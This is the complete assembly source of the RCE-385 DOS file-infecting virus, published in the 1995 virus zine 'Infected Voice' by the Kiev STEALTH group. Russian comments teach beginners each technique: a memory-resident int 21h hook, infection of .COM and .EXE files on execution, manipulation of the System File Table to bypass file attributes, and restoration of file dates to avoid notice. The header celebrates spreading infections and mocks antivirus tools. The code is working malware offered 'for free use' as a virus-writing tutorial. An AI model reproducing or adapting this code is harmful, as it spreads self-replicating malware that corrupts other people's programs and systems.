;█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█  ▀                                        ▀          ██▀██▀██
;█ STEALTH group █░ █ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▀█▀ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ ▄▀▀  ██ ▀▀ ██
;█   presents    █░ █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █  ▀█▀▀  █████ ██
;█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█░ ▐ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄  █████▄██
; ░░░░░░░░░░░░░░░░░                                                     JAN 1995
;
; INFECTED VOICE. Issue 4. January 1995.   (C) STEALTH group, Kiev 148, Box 10.
; THE FIRST UNIQUE VIRUS MAGAZINE IN FORMER U.S.S.R.!!!
;
;--- RCE-385 (!).-------------------------------------------------------------
;  Экие однако времена пошли - обьявился некий дядюшка Мостовой и написал свой
;чертовски дотошный AdInf -> ну и что же теперь?М-да,теперь сидим мы технокрысы
;и стенаем по тем добрым временам,когда у юзера целый зоопарк на машине бегал,
;а он - блажен в неведении,слюною брызжа,доказывал,что нету таких зверей в RAMе.
;  А теперь понаставили примочек всяких - чуть что,сразу завопят!Даже стелзы
;призадумались : "А чего это мы сдесь тела свои сокрываем,прячась как *beep в
;*beep".И с тех пор пошел разлад в среде Вирмаков.Кто предлагает рыло в защищен-
;ный режим сунуть и тем самым подглядывание присечь,а кто по доброте душевной
;обещает при реакции детектора какого,аль сторожа вездесущего,машине винт
;на *beep опускать!Но все это полная *beepня!Послушайте братцы Вирмаки --
;не в тираже счастье,а в красоте алгоритма!!!Нехай ловятся ваши звери всякими
;ревизорами,пусть форматит юзер свои винты.НО чем больше нас тем меньше юзеров!
;(Ибо многие из нас еще не позабыли Basic).А лечилки всякие - они нам землю
;расчищают,для новых "посадок"!
;  Но сие все цветочками обзывается!А вот представте себе,что смышленный малый
;желает написать первое свое произведение,а нет у него ни теории ни матерых
;корешей-Вирмаков!Вот и пришлось мне составлять пособие-для-начинающих.
;Был это вирус RCE-666 (мною писан).Aidstest его кличет: INFO /666,Web: Die-666.
;но потом обрезав его маленько,получил я RCE-385!
;  Надеюсь,что ОН для новичков- учебником станет,а для господ ламеров - достой-
;ным полигоном!
;-----------------------------------------------------------------------------
;(c) Light General.Kiev.1995. STEALTH group . For free use!
;-----------------------------------------------------------------------------

cseg            segment
                assume  cs:cseg,ds:cseg
                org     100h
start:
                nop             ; Признак заражения .COM файла.
                jmp     virr
; Якобы зараженная программа.(Занимает 30 байт).
                nop
                nop
                mov     ah,09
                lea     dx,wrn
                int     21h
                mov     ax,4c00h
                int     21h
;--------------------------------------
wrn             db      'FRODO LIVES!$'
;--------------------------------------

;################# VIRUS ##################

virr:
                call    $+3
                pop     si
                sub     si,03
;-Hacked mem.-----------------------------------------------------
                push    si
                clc
                mov     ax,0FEFEh       ; Проверяем память на зараженность!
                int     21h             ; Коли вирус УЖЕ сидит в машине то он
                jc      exit_v          ; поднимет флаг CF!
;- Следующая часть кода производит "откусывание" 512 байт памяти!-------------
; Принцип этого "откусывания" основывается на том,что при выполнении программы
;система строит перед ее кодом такие блоки (обратите внимание на выделенные
;части)
;---(1)--- MCB - Memory Control Block (Блок управления памятью)
; Обычно в таких блоках DOS описывает выделенные программам участки памяти!
;  ФОРМАТ :
;─────────────────────┬───────┬───────────────────────────────────
; Смещение ячейки от  │ Длина │ Назначение
; начала блока.       │       │
;                     │       │
;       00            │  1b   │ Если стоит 'M' то этот блок не последний
;                     │       │            'Z' последний.
;       01            │  1w   │ Сегментный адрес (с которого выделен блок).
;++++>  03            │  1w   │ Длина блока в параграфах (параграф = 16 байт)
;─────────────────────┴───────┴───────────────────────────────────
;Дальше идут еще данные,но нас интересует только это! ────────────
;
;---(2)--- PSP - Program Segment Prefix (Префикс программного сегмента)
; Сдесь содержится информация для запускаемой программы!
;  ФОРМАТ :
;─────────────────────┬───────┬───────────────────────────────────
; Смещение ячейки от  │ Длина │ Назначение
; начала блока.       │       │
;                     │       │
;       00            │  1w   │ В этом слове стоит команда int 20h (CD 20h)
;++++>  02            │  1w   │ Общий размер памяти выделенный программе!
;                     │       │ (При запуске программы DOS выделяет ей всю
;                     │       │ память "до конца" 640 килобайт!)
;─────────────────────┴───────┴───────────────────────────────────
;Дальше идут не интересующие нас данные! ─────────────────────────

;-- Так вот,отнимая некоторое значение от выделенных ячеек,мы можем сделать
;"дырку" в старших адресах памяти и перенести туда тело вируса!
;  Практическая реализация :
                mov     ax,ds
                dec     ax
                mov     es,ax
                sub     word ptr es:[03],35             ;* 512b
                sub     word ptr ds:[02],35             ;* 512b
                mov     es,ds:[02]      ; ES = сегментн. адр. "откуш." памяти!
                push    ds cs
                pop     ds
                xor     di,di
                mov     cx,offset ax_len-offset virr    ; Длина вируса!
                rep     movsb           ; Переносим вирус в "отк." память!
;-Install int.----------------------------------------------------
                mov     al,21h
                mov     dx,offset int_21h_entry-offset virr
                mov     si,offset ofs_21h-offset virr
                push    es
                pop     ds
                call    inst_int        ; Установим адрес int 21h на свой
                                        ; обработчик.
                pop     ds
exit_v:
                push    ds
                pop     es
                pop     si
;- COM or EXE ?---------------------------------------------------
; Проверим из какого файла мы стартовали?
;  Это делается потому,что передача управления .COM или .EXE программе
; происходит по разному!
                cmp     byte ptr cs:[si+offset origin_2_byte-offset virr+1],'Z'
                jz      L_exe
;-Вocстановить три байта З.П.-------------------------------------
;  У .COM файла надобно восстановить четыре первых байта которые мы изменили
; при заражения файла на диске!(Мы записали туда команду перехода на вирус).
                mov     di,100h
                add     si,offset origin_2_byte-offset virr
; SI = адрес буфера с оригинальными байтами .COM файла!
                push    di
                movsw
                movsw
                xor     ax,ax
                ret             ; Go to infected com program.
;-Loaded from exe file.--------------------------------------------
;  А вот это способ активации .EXE программы!
; Сдесь происходит все иначе : т.к. при заражении файла мы изменили в нем
; заголовок который указывает с какого адреса этот файл запускают!
; (Кто не знает,что такое заголовок .EXE файла пусть обратится к книге П.Абеля
; "Язык Ассемблера для IBM PC и программирования" (стр. 362)
L_exe:
                mov     ax,es
                add     ax,10h
                add     cs:[offset CS_file-offset virr][si],ax
; Так мы вычислили сегмент в который надо передать управление!
                db      0eah    ;-
IP_file         dw      ?       ;- JMP Far CS_file:IP_file
CS_file         dw      ?       ;-
;------------------------------------------------------------------
;  А это собственно часть отвечающая за заражение программ!
int_21h_entry   proc
                cmp     ax,0FEFEh       ;-Если собрат спрашивает о наличии
                jnz     _@1             ;-своей родни то дать дружеский ответ.
                stc                     ;-
int_24h_entry:
                mov     al,03
                retf    2

_@1:
                cmp     ax,4b00h        ; Если DOS пытается выполнить программу
                jnz     exit_all        ; то мы заражаем ее!
                jmp     infecting       ;
exit_date:
                mov     ax,5701h        ; Установка старой даты файла.
                mov     cx,es:[di+13]   ;<- Time
                mov     dx,es:[di+15]   ;<- Date
                int     21h
exit_close:
                mov     ah,3eh          ; Перед передачей управления DOS'у -
                int     21h             ; закроем файл который заражали!
exit_pop:
                lds     dx,cs:[offset ofs_24h-offset virr]
                mov     ax,2524h        ; Установим на место int 24h
                int     21h
                pop     bp
                pop     ds
                pop     es
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
exit_all:
                db      0eah
ofs_21h         dw      0000
seg_21h         dw      0000
int_21h_entry   endp
;-------------------------------------------------------------------
infecting:
                push    ax
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                push    es
                push    ds
                push    bp
                push    ds
                push    dx
;------------------------------------------------------------------
; Переставим адрес вектора int 24h на наш обработчик - т.е. на простую
;  заглушку,которая в случае "заклееной" дискеты не позволит DOS'у кричать :
; Write protect error ...
                mov     al,24h
                mov     si,offset ofs_24h-offset virr
                mov     dx,offset int_24h_entry-offset virr
                call    inst_int
                pop     dx
                pop     ds
;-Open file...-----------------------------------------------------
                mov     ax,3d00h
                int     21h
                jc      exit_pop
;-Read header (EXE) or first 4 byte (COM).-------------------------
                mov     bh,3fh
                xchg    ax,bx
                mov     cx,18h
                push    cs
                pop     ds
                mov     dx,offset origin_2_byte-offset virr
                mov     si,dx
                int     21h     ; Считываем в буфер 24 первых байта программы!
_1:
                jc      exit_close      ; Если ошибка,то закроем файл и выйдем.
;-Look SFT file!-----------------------------
; Собственно говоря, далее идет "изюминка" вируса - из-за нее он имеет такие
;малые размеры!И так,что же это :
; Изволите ли видеть я весьма ленив,и не очень люблю возится с такими
; рутинами как снятие и установка атрибутов,перемещение файлового указателя!
; А посему раскопал я внутреннюю подробность DOS'а!
; (Она упоминается в работе К.Г.Финогенова "Самоучитель по системным функциям
; MS-DOS" (стр. 67) (а так же в электронном справочнике Help PC)
; (Впервые применено в RC-0-512 (666,Written by Dark Avenger.)
; Это SFT -- System File Table - (Системная таблица открытых файлов.)
;Она создается для вновь открываемого файла и содержит информацию используемую
;непосредственно процедурами записи/считывания DOS'а!!!
;
;  ФОРМАТ :
;─────────────────────┬───────┬───────────────────────────────────
; Смещение ячейки от  │ Длина │ Назначение
; начала блока.(Дес.) │       │
;                     │       │
;      00             │  1w   │ Кол-во дескрипторов закрепленных за файлом
;      02             │  1b   │ Режим доступа заданный при его открытии
;      04             │  1b   │ Атрибуты файла
;      11             │  1w   │ Номер первого кластера файла
;      13             │  1w   │ Время последней модификации файла
;      15             │  1w   │ Дата ...
;      17             │  2w   │ Длина файла
;      21             │  2w   │ Указатель в файле
;      32             │  11b  │ Имя и расширение файла (без '.')
;─────────────────────┴───────┴───────────────────────────────────
                mov     ax,1220h        ; Сей участочек кода позволяет
                push    bx              ; получить адрес SFT в паре ES:DI
                int     2fh             ;
                mov     bl,es:[di]      ;
                mov     ax,1216h        ;
                int     2fh             ;
                pop     bx              ;
                mov     byte ptr es:[di+2],02   ; ВНИМАНИЕ!Этим действием мы
                                                ;сделали так,что теперь DOS
                                                ;считает,что файл открыт для
                                                ;записи/считывания!
                                                ; Т.е. нам не понадобилось
                                                ;снимать атрибуты файла!
                mov     bp,es:[di+17]   ; BP = file len!
;---------------------------------------------
; Теперь проверяем байты которые считали в буфер.
                lodsb
                dec     si
                cmp     al,'M'  ; MZ - признак того,что это .EXE файл!
                jz      _EXE
                cmp     al,90h  ; NOP - если это .COM файл то проверим его на
                                ; повторную зараженность!(Смотрите в начало)
_1d:
                jz      exit_close
;-Infect .COM --------------------------------
; Так заражают .COM файлы!
                xchg    ax,bp
                cmp     ax,65000
                ja      exit_close              ;Длина больше допустимой.

                mov     es:[di+21],ax           ;Ставим файловый указатель в
                                                ;конец файла!
;-Make JMP------------------------------------
; Т.к. при заражении мы вписываем в начало .COM файла переход на тело вируса то
;мы должны вычислить смещение этого перехода!
                sub     ax,04
                mov     ds:[offset jmp_n-offset virr],ax
                call    write_virus     ; Пишем вирус в конец файла!
                mov     cx,04h  ; А теперь пишем в начало файла тот самый
                mov     dx,offset new_3_byte-offset virr        ; переход!
exit_write:
                mov     ah,40h
                int     21h
_1b:            jmp     exit_date
;-Sub. for write virus body (only) in file.----
write_virus     proc
                xor     dx,dx
                mov     ah,40h
                mov     cx,offset ax_len-offset virr
                int     21h
                mov     es:[di+21],dx   ; F.P = start file!
                mov     es:[di+23],dx
                cmp     ax,cx
                jnz     _1c
                ret
_1c:
                pop     ax
                jmp     _1b     ; exit_date!
write_virus     endp
;-Infect .EXE ---------------------------------
_EXE:
; А теперь высчитаем длину файла, исходя из данных записанных в заголовке
; .EXE файла! И если она не сойдется с записаной в SFT, то мы считаем,что
; это файл, содержащий неявный оверлей и не заражаем его!
                mov     ax,ds:[si+4]            ; Pages (512b).
                dec     ax
                mov     cx,512
                mul     cx
                add     ax,[si+2]       ; AX = File len from header.
                cmp     ax,bp           ; Real file len = ax ?
                jnz     _1b             ; No - this is overlay.
;-----
                mov     es:[di+21],ax   ; Указатель в конец файла.
                mov     es:[di+23],dx
;-Get header.-----------------------------------
; Запоминаем адрес с которого мы будем запускать .EXE программу!
                mov     ax,[si+14h]
                mov     ds:[offset IP_file-offset virr],ax
                mov     ax,[si+16h]
                mov     ds:[offset CS_file-offset virr],ax
;-----------------------------------------------
; Вычислим новый адрес (т.е. для запуска вируса при старте программы)
                xchg    ax,bp
                mov     cx,10h
                div     cx
                sub     ax,[si+8]
                sbb     dx,0
                mov     [si+16h],ax     ; ReloCS.
                mov     [si+14h],dx     ; ExeIP.
;-Correcting file len in header.----------------
;Теперь откорректируем длину в заголовке .EXE файла!
;(ПРЕДУПРЕЖДАЮ!Длина вируса = 385 ,а мы увеличиваем длину файла в заголовке
; не на 385 ,а на 512!!!Т.е. теперь другие "умные вирусы" не будут заражать
; этот файл).Собственно говоря эта особенность является признаком заражения,-
; мы ведь не заражаем оверлеи!
                inc     word ptr ds:[si+4]
;-Write virus to file.--------------------------
                call    write_virus
;-Write new header.-----------------------------
                mov     cx,18h
                mov     dx,si   ; DX = offset header.
                jmp     exit_write      ; Подготовив все к записи исправленного
                                        ;заголовка мы передаем управление прямо
                                        ;на команду int 21h!
;----------------------------------------------
inst_int        proc
                mov     ah,35h
                int     21h
                mov     ds:[si],bx
                mov     ds:[si+2],es
                mov     ah,25h
                int     21h
                ret
inst_int        endp
new_3_byte      db      90h     ; NOP
                db      0e9h    ; JMP nn
jmp_n           dw      0000    ; nn
;-Header for EXE file & buffer for first 5 bytes COM's file.--
origin_2_byte:
header:
                db      4 dup (90h)     ; NOPs
ax_len          db      ?
                db      20h dup (?)     ; For EXE header.
ofs_24h         dw      ?
seg_24h         dw      ?
;********************************************************
cseg            ends
                end     start

;-- Written by Light General.Kiev.1995.For free use! ----